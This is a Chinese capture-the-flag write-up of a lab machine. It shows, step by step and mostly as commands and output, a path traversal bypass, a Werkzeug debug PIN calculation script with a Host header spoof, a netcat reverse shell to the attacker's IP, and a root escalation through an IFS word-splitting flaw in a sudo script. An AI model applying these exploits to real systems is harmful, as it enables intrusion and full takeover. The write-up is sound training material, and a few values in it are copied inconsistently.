

tmp

## 端口扫描

```
python
(base) └─(root㉿kali)-[~]
└# nmap -sV -A 192.168.56.137
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-09 11:04 UTC
Nmap scan report for 192.168.56.137
Host is up (0.00056s latency).

Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.2 (protocol 2.0)
5000/tcp   open  upnp?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|       Server: Werkzeug/3.1.3 Python/3.12.12
|       Date: Mon, 09 Feb 2026 11:04:15 GMT
|       Content-Disposition: inline; filename=index.html
|       Content-Type: text/html; charset=utf-8
|       Content-Length: 1151
|       Last-Modified: Wed, 28 Jan 2026 09:32:32 GMT
|       Cache-Control: no-cache
|       ETag: "1769592752.6121109-1151-1563297874"
|       Date: Mon, 09 Feb 2026 11:04:15 GMT
|       Connection: close
|       <!DOCTYPE html>
|       <html lang="zh-CN">
|         <head>
|           <meta charset="UTF-8">
|           <meta name="viewport" content="width=device-width, initial-scale=1.0">
|           <title>
|             </title>
|             <link rel="stylesheet" href="/static/style.css">
|             <link href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@400;700&family=Roboto:wght@300;400;500&display=swap" rel="stylesheet">
|           </head>
|           <body>
|             <div class="container">
|               <header>
|                 <h1>My Playlist</h1>
|                 <class="subtitle">Select a song to
```



**5000/tcp**

审计源码可以发现有两个 api 接口 `/songs` 列出歌曲, `/sing?song=<filename>` 读取歌词

```
document.addEventListener('DOMContentLoaded', () => {
  const songList = document.getElementById('song-list');
  const lyricsContent = document.getElementById('lyrics-content');
  const songTitle = document.getElementById('current-song-title');
```

```

const loading = document.getElementById('loading');

// Fetch song list
fetch('/songs')
  .then(res => res.json())
  .then(songs => {
    if (songs.length === 0) {
      loading.textContent = "暂无歌曲";
      loading.classList.remove('hidden');
      return;
    }

    songs.forEach(song => {
      const li = document.createElement('li');
      li.className = 'song-item';
      li.textContent = song;
      li.onclick = () => loadLyrics(song, li);
      songList.appendChild(li);
    });
  })
  .catch(err => {
    console.error(err);
    loading.textContent = "加载列表失败";
    loading.classList.remove('hidden');
  });
}

function loadLyrics(filename, element) {
  // UI Update
  document.querySelectorAll('.song-item').forEach(el =>
    el.classList.remove('active'));
  element.classList.add('active');

  // Animation reset
  lyricsContent.classList.remove('visible');
  songTitle.style.opacity = '0';

  // Fetch Lyrics
  fetch(`/sing?song=${encodeURIComponent(filename)}`)
    .then(res => {
      if (!res.ok) throw new Error("Load failed");
      return res.text();
    })
    .then(text => {
      setTimeout(() => {
        songTitle.textContent = filename;
        songTitle.style.opacity = '1';

        lyricsContent.textContent = text;
      });
    });
}

```

```
        lyricsContent.classList.add('visible');
    }, 300); // Small delay for transition effect
})
.catch(err => {
    lyricsContent.textContent = "读取歌词失败: " + err.message;
    lyricsContent.classList.add('visible');
});
});
```

测试一下 `/sing?song=<filename>` 发现存在路径穿越漏洞，但是过滤了 `../` 尝试双写 `//` 绕过

<http://192.168.56.137:5000/sing?song=...//..//..//..//etc/passwd>



通过报错知道源码的位置在 `app/app.py`

```
File "/usr/lib/python3.12/site-packages/flask/app.py", line 902, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

File "/app/app.py", line 53, in sing_song
    raise e
           ^^^^

File "/app/app.py", line 45, in sing_song
    raise FileNotFoundError(f"找不到指定的文件: {target_path}")
           ^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^

FileNotFoundException: 找不到指定的文件: /app/songs/home/tuf/user.txt
```

读取源码

<http://192.168.56.137:5000/sing?song=..//..//..//..//app/app.py>

```
import os
from flask import Flask, request, jsonify, send_from_directory

# 以脚本所在目录作为基准目录
BASE_DIR = os.path.dirname(os.path.abspath(__file__))

SONGS_DIR = os.path.join(BASE_DIR, "songs")
STATIC_DIR = os.path.join(BASE_DIR, "static")

# 初始化 Flask 应用
app = Flask(__name__, static_folder=STATIC_DIR, static_url_path="/static")

# 确保 songs 目录存在
os.makedirs(SONGS_DIR, exist_ok=True)

@app.route('/')
def index():
    # 服务静态首页
    return send_from_directory(STATIC_DIR, 'index.html')


@app.route('/songs', methods=['GET'])
def list_songs():
    # 列出 songs 目录下的文件名
    files = []
    try:
        if os.path.exists(SONGS_DIR):
            for fname in os.listdir(SONGS_DIR):
                full_path = os.path.join(SONGS_DIR, fname)
                if os.path.isfile(full_path):
                    files.append(fname)
    except OSError:
        pass
    return jsonify(files)


@app.route('/sing', methods=['GET'])
def sing_song():
    user_input = request.args.get('song', '')
    sanitized = user_input.replace('../', '')
    target_path = os.path.join(SONGS_DIR, sanitized)

    try:
        if not os.path.exists(target_path) or not os.path.isfile(target_path):
            raise FileNotFoundError(f"找不到指定的文件: {target_path}")
    except FileNotFoundError:
        return jsonify({"error": "File not found"})


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
```

```
with open(target_path, 'r', encoding='utf-8') as f:
    content = f.read()

    return content

except Exception as e:
    raise e

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)
```

发现应用开启了 debug 模式。Werkzeug 的 debug 模式会提供一个交互式的 Python 控制台，但需要输入正确的 PIN 码才能使用。

Werkzeug 的 PIN 码是根据以下信息计算得出的：

- 运行应用的用户名
- Flask 应用的模块名 (通常是 `flask.app`)
- Flask 应用的类名 (通常是 `Flask`)
- Flask 应用文件的路径
- 网卡 MAC 地址 (转换为十进制)
- machine-id (由 `/etc/machine-id` 和 `/proc/sys/kernel/random/boot_id` 等组成)

通过路径穿越依次读取这些信息：

读取 `/sys/class/net/eth0/address` 获取 MAC 地址: `08:00:27:02:4f:4b`，去掉冒号后作为十六进制数转换为十进制: `int('080027024f4b', 16) = 8796747485003`。

```
(base) └─(root㉿kali)-[~]
└# curl http://192.168.56.137:5000/sing?
song=../../../../sys/class/net/eth0/address
08:00:27:02:4f:4b
```

读取 `/proc/sys/kernel/random/boot_id` 获取 boot\_id。

```
(base) └─(root㉿kali)-[~]
└# curl http://192.168.56.137:5000/sing?
song=../../../../proc/sys/kernel/random/boot_id
ebecdfa9-8700-4539-babc-36eea9a457bf
```

读取 `/etc/machine-id` 发现为空。

然后写个脚本计算 PIN 码：

```
import hashlib
from itertools import chain

probably_public_bits = [
    'tuf',           # 用户名
    'flask.app',     # 模块名
    'Flask',         # 类名
    '/usr/lib/python3.12/site-packages/flask/app.py'  # Flask 路径
]

private_bits = [
    '8796747485003',  # MAC 地址十进制
    'ebeccfa9-8700-4539-babc-36eea9a457bf'        # boot_id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d"}[:9]

for group_size in 5, 4, 3:
    if len(num) % group_size == 0:
        rv = "-".join(
            num[x : x + group_size].rjust(group_size, "0")
            for x in range(0, len(num), group_size)
        )
        break

print(f"PIN: {rv}")
```

计算得到 PIN 码： `520-701-993`

可以发现接通过浏览器访问 debug 页面时，虽然可以看到 Traceback 信息，但代码行旁边并没有出现交互式终端图标。这是因为 Werkzeug 配置了 trusted\_hosts 检查，当请求的 Host 头（`192.168.56.137:5000`）不在信任列表中时，会静默禁用 EVALEX 交互式调试功能。需要在请求中将 Host 头设置为 `127.0.0.1:5000` 才能绕过这个检查，使页面出现可点击的终端图标从而进入交互式 Python console。

```
FileNotFoundException
FileNotFoundException: 找不到指定的文件: //user.txt

Traceback (most recent call last):
File "/usr/lib/python3.12/site-packages/flask/app.py", line 1536, in __call__
    return self.wsgi_app(environ, start_response)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/site-packages/flask/app.py", line 1514, in wsgi_app
    response = self.handle_exception(e)
           ^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/site-packages/flask/app.py", line 1511, in full_dispatch_request
    response = self.full_dispatch_request()
           ^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/site-packages/flask/app.py", line 919, in full_dispatch_request
    rv = self.handle_user_exception(e)
           ^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/site-packages/flask/app.py", line 917, in full_dispatch_request
    rv = self.dispatch_request()
           ^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.12/site-packages/flask/app.py", line 902, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args) # type: ignore[no-any-return]
           ^^^^^^^^^^^^^^
File "app/app.py", line 53, in sing_song
    raise e
           ^^^^
File "app/app.py", line 45, in sing_song
    raise FileNotFoundException("找不到指定的文件: {target_path}")
           ^^^^^^^^^^^^^^
FileNotFoundException: 找不到指定的文件: //user.txt
```

先修改一下 host 头，然后就能进入 Python console

FileNotFoundException

FileNotFoundException: 找不到指定的文件: //user.txt

Traceback (most recent call last):

File "/usr/lib/python3.12/site-packages/flask/app.py", line 1536, in \_\_call\_\_  
 return self.wsgi\_app(environ, start\_response)  
 ^^^^^^^^^^^^^^^^^^

File "/usr/lib/python3.12/site-packages/flask/app.py", line 1514, in wsgi\_app  
 response = self.handle\_exception(e)  
 ^^^^^^^^^^

File "/usr/lib/python3.12/site-packages/flask/app.py", line 1511, in full\_dispatch\_request  
 response = self.full\_dispatch\_request()  
 ^^^^^^

File "app/app.py", line 53, in sing\_song  
 raise e  
 ^^^^

File "app/app.py", line 45, in sing\_song  
 raise FileNotFoundException("找不到指定的文件: {target\_path}")  
 ^^^^^^

FileNotFoundException: 找不到指定的文件: //user.txt

URL: <http://192.168.56.137:5000/sing?song=../../../../user.txt>

MODIFY HEADER

Name	Value
<input checked="" type="checkbox"/> Host	127.0.0.1:5000
<input checked="" type="checkbox"/> User-Agent	Mozilla/5.0 (Windows NT 10.0; Win

这里在最后抓个包发送 PIN 码。不然浏览器发送 PIN 验证请求时，Host 头还是 `192.168.56.137:5000`，导致一直失败

请求

美化	Raw	Hex	Chinese
1 GET /sing?__debugger__=yes&cmd=pinauth&pin=520-701-993&s=7cdBU7lkEULOP7ycR0bm			
2 HTTP/1.1			
3 Host: 127.0.0.1:5000			
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0			
5 Accept: */*			
6 Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5			
7 Accept-Encoding: gzip, deflate, br			
8 Referer: http://192.168.56.137:5000/sing?song=../../../../user.txt			
9 Connection: keep-alive			
10 Priority: u=0			
11			

响应

美化	Raw	Hex	页面渲染	Chinese
1 HTTP/1.1 200 OK				
2 Server: Werkzeug/3.1.3 Python/3.12.12				
3 Date: Mon, 09 Feb 2026 12:43:38 GMT				
4 Content-Type: application/json				
5 Content-Length: 34				
6 Set-Cookie: __wzdeed837le5elc3edcall6=1770641018 b0fc69ee2897; HttpOnly; Path=/; SameSite=Strict				
7 Connection: close				
8				
9 {				
10 "auth":true,				
11 "exhausted":false				
12 }				

或者在浏览器上全局添加一个头就行，然后就能拿到 shell

```
[console ready]
>>> id
<built-in function id>
>>> cmd=__import__('os').popen('id').read()
>>> __import__('os').popen('id').read()
'uid=1000(tuf) gid=1000(tuf) groups=1000(tuf),1000(tuf)\n'
>>> |
```

反弹一个 shell

```
__import__('os').popen('busybox nc 192.168.56.102 3344 -e /bin/bash').read()
```

稳定一下 shell

```
/usr/bin/script -qc /bin/bash /dev/null
按下 ctrl z
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash
```

```
(base) └─(root㉿kali)-[~]
└# nc -lvp 3344
listening on [any] 3344 ...
192.168.56.137: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.137] 45403
/usr/bin/script -qc /bin/bash /dev/null
tuf@tmp:/$ ^Z
zsh: suspended nc -lvp 3344

(base) └─(root㉿kali)-[~]
└# stty raw -echo; fg
[1] + continued nc -lvp 3344

tuf@tmp:/$ export TERM=xterm
export SHELL=/bin/bash
tuf@tmp:/$ id
uid=1000(tuf) gid=1000(tuf) groups=1000(tuf),1000(tuf)
tuf@tmp:/$
```

```
tuf@tmp:~$ cat user.txt
flag{user-efc2ff45f0724ce8bd897e4cdd356eca}
tuf@tmp:~$
```

## 提权

`sudo -l` 查看当前用户的 sudo 权限，发现有 `/usr/local/bin/getflag`

```
tuf@tmp:~$ sudo -l
Matching Defaults entries for tuf on tmp:

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for tuf:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User tuf may run the following commands on tmp:
(ALL) NOPASSWD: /usr/local/bin/getflag
tuf@tmp:~$
```

先看看 `/usr/local/bin/getflag` 的用法和内容

```
tuf@tmp:~$ /usr/local/bin/getflag
用法: /usr/local/bin/getflag <varname> <varvalue> [args...]
示例: /usr/local/bin/getflag username tuf --option
```

说明：

- 将 <varname> 作为变量名, <varvalue> 作为变量值导入到当前脚本环境中  
tuf@tmp:~\$ cat /usr/local/bin/getflag

```
#!/bin/bash
if [[ $# -lt 2 ]]; then
    cat <<USAGE >&2
```

用法: \$0 <varname> <varvalue> [args...]

示例: \$0 username tuf --option

说明：

- 将 <varname> 作为变量名, <varvalue> 作为变量值导入到当前脚本环境中  
USAGE

```
    exit 1
fi
```

VAR\_NAME="\$1"

VAR\_VALUE="\$2"

```
if [[ ! "$VAR_NAME" =~ ^[A-Za-z_][A-Za-z0-9_]*$ ]]; then
    echo "错误：变量名 '$VAR_NAME' 不符合命名规则。" >&2
    exit 2
fi
```

declare -x "\$VAR\_NAME"="\$VAR\_VALUE"

unset LD\_PRELOAD

unset LD\_LIBRARY\_PATH

unset BASH\_ENV

unset PYTHONPATH

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

TARGET\_FILE="/opt/fFlag"

TARGET\_BASENAME=\$(basename "\$TARGET\_FILE")

SANDBOX\_DIR=\$(mktemp -d)

cp -- "\$TARGET\_FILE" "\$SANDBOX\_DIR/"

SANDBOX\_TARGET\_FILE="\$SANDBOX\_DIR/\$TARGET\_BASENAME"

cd "\$SANDBOX\_DIR"

\$SANDBOX\_TARGET\_FILE

cd /tmp

rm -rf "\$SANDBOX\_DIR"

tuf@tmp:~\$

分析这个脚本的逻辑：

1. 接收两个参数作为环境变量名和值
2. 验证变量名只能包含字母、数字和下划线
3. 使用 `declare -x` 设置环境变量
4. 清除危险的环境变量 (LD\_PRELOAD、BASH\_ENV 等)
5. 重置 PATH
6. 创建临时目录，将 `/opt/flag` 复制进去
7. 执行复制后的文件

这个脚本的漏洞点如下

```
$SANDBOX_TARGET_FILE
```

这里变量 `$SANDBOX_TARGET_FILE` 没有加双引号！在 Bash 中，未加引号的变量会受到 word splitting (词分割) 的影响，而词分割是根据 `IFS` (Internal Field Separator) 环境变量来进行的。

`IFS` 的默认值是空格、制表符和换行符。如果我们将 `IFS` 设置为 `.` (点号)，那么路径 `/tmp/tmp.XXXXXX/flag` 就会被拆分成两部分：

- `/tmp/tmp` (被当作命令执行)
- `XXXXXX/flag` (被当作参数)

因此攻击步骤如下：

首先在 `/tmp/tmp` 创建一个恶意脚本：

```
#!/bin/bash  
/bin/sh
```

并赋予执行权限：

```
chmod 755 /tmp/tmp
```

然后执行：

```
sudo /usr/local/bin/getflag IFS .
```

然后就能拿到 root shell

```
tuf@tmp:/tmp$ vi tmp
tuf@tmp:/tmp$ cat /tmp/tmp
#!/bin/bash
/bin/sh
tuf@tmp:/tmp$ chmod 755 /tmp/tmp
tuf@tmp:/tmp$ sudo /usr/local/bin/getflag IFS .
/tmp/tmp.aF0eka # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(di
alout),26(tape),27(video)
/tmp/tmp.aF0eka # cat /root/r*
flag{root-3c3b91a376044379852a08d53578eb70}
/tmp/tmp.aF0eka #
```

flag:

```
| flag{user-efc2ff45f0724ce8bd897e4cdd356eca}
| flag{root-3c3b91a376044379852a08d53578eb70}
```